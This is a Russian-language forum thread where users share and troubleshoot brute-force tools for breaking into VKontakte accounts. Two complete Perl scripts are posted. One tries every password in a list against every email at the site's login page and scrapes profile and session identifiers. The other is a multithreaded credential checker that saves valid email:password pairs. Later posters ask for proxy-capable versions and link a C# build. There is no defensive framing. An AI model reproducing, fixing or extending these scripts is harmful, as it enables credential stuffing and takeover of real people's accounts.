Помогите найти нормальный брутер по списку мыл и паролей. есть вот такой но он почемуто выдает ошибку (
PHP: #! /usr/bin/perl -w use strict; use HTTP::Request::Common; use LWP::UserAgent; use HTTP::Cookies; #Список email my $ml = 'emails.txt'; #Сбрученные аккаунты my $fname = 'good.txt'; #Несбрученные аккаунты my $fname1 = 'bad.txt'; #список паролей my $psw = 'pass.txt'; my $control = '-1'; my %example; my (@data, @data1); printf "Starting...\n"; sub submit_query { my ($file, %query) = @_; my $user_agent = LWP::UserAgent->new(); my $cookies = HTTP::Cookies->new; my $cookie_jar = HTTP::Cookies->new( file => 'cookies.dat', autosave => 1, ); $user_agent->cookie_jar($cookie_jar); ################################################################ $user_agent->agent("User-Agent=Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.8;" . $user_agent->agent); ################################################################ my $request = POST $file, [%query]; ################################################################ my $response = $user_agent->request($request); my $res = $response->as_string; ################################################################ if($res =~/<div id='error'>/ ) { print FILE1 "[!]Wrong password: "; $control = '0'; } else { my $req = HTTP::Request->new(GET => "http://vkontakte.ru/profile.php"); my $response2 = $user_agent->request($req); my $res2 = $response2->as_string; if($res2 =~/id="percent">(.*)%</) { print FILE "[rate=$1]"; } if($res2 =~/percentGold">(.*)</) { print FILE "[gold_rate=$1]"; } $req = HTTP::Request->new(GET => "http://vkontakte.ru/settings.php"); $response2 = $user_agent->request($req); $res2 = $response2->as_string; if($res2 =~/контакте: <b>(.*)</) {print FILE "[id=$1]";} if($res2 =~/"idr" value="(.*)"/) {print FILE "[sid=$1]";} $control = '1'; } } open(DAT, $ml) || die("Could not open emails file!"); @data=<DAT>; close(DAT); open(DAT1, $psw) || die("Could not open passwords file!"); @data1=<DAT1>; close(DAT1); my $time = time; my $start = localtime; printf "Vkontakte brutforoce\n"; printf "Started at $start\n"; foreach my $mail (@data) { chomp($mail); foreach my $password (@data1) { chomp($password); %example = (success_url => '', fail_url => '', try_to_login => '1', email => $mail, pass => $password); open(FILE, ">>$fname") || die("Could not open $fname\n"); open(FILE1, ">>$fname1") || die("Could not open $fname1\n"); submit_query("http://vkontakte.ru/login.php", %example); if ($control == '1') { print FILE "$mail : $password\n"; } else { print FILE1 "$mail : $password\n"; } close FILE; close FILE1; } } $time = time-$time; my $end = localtime; printf "Completed at $end\n"; printf "Time Elapsed: $time sec\n"; по мне этот получше будет. по спискку мыл чекает пароль\пароли
PHP: #! /usr/bin/perl -w use IO::Socket; use threads; use threads::shared; $threads = shift || 5 ; #Кол-во потоков $pass = shift || 'pass' ; #pwd $fname = 'good.txt' ; #Валидные $ml = shift || 'mails.txt' ; #Список мыл my @acc : shared; my $i : shared; my $total : shared; $| =1; print "Loading...\n"; open (ACS, "<$ml") || die("Could not open mail list file!"); @acc = acc(); $size = scalar @acc; $time = time; $start = localtime; print "Loaded: ",$size," emails.\n"; printf "Started at $start\n"; for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);} for(@trl) { $_->join; } sub Brut { while(@acc) { {lock(@acc);$acc = shift @acc;} my $sock = new IO::Socket::INET ( PeerAddr => 'vkontakte.ru', PeerPort => 80, PeerProto => 'tcp', TimeOut => 20 ) or die "Can't connect\n"; my $data = "email=$acc&pass=$pass"; my $len = length($data); my $re = "POST /login.php HTTP/1.1\nHost: vkontakte.ru\n". "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0b1; Windows NT 5.1; SV1; .NET CLR 1.1.4322; MS IdentiServ 1.4.12)\nKeep-Alive: 300\n". "Connection: keep-alive\nReferer: http://vkontakte.ru\n". "Content-Type: application/x-www-form-urlencoded\n". "Content-Length: $len\n\n$data"; print $sock $re; sysread ($sock, my $answ, 800); if($answ =~ /\S{32}/) { {lock($total); $total++;} print "[+] $acc\n"; open(FILE, ">>$fname") || die("Could not open $fname\n"); print FILE "$acc : $pass\n"; close(FILE); } {lock($i);$i++;} $percent = ($i/$size)*100; progress(); } } $time = time-$time; $end = localtime; printf "Finished at $end\n"; printf "Time elapsed: $time sec\n"; printf "Finded: $total \n"; sub progress{ print "|"; $percent = sprintf("%.2f", $percent); print "< $percent% > complete"; print "\r"; } sub acc { my (@mas); while (<ACS>){ push @mas, $_; } chomp @mas; return @mas; } #(c)Kaimi только что проверил все норм скопируй и попробуй
всеравно в гуд не пишет ничего.ошибка пропала когда ключ -w убрал но в гуды не пишет сцуко ( даже перл новвый качнул спецон
А мне у гут пишет весь список мыл которые я бручу и пасс пишет который я поставил но все инвалид,почему так?
Ребят, есть брутер рабочий через прокси или на хосте!? А то вот этот у меня не работает - кто разбирается - помогите плиз! Ссылка
Скорей всего кажется - с чего ты взял!? P.s. И все же есть брутер работающий через прокси - очень надо!
Обновленый билд брутера на C# Ещё один, столько клонов и все для контакта.Если пишут значит это комуто нужно скачать
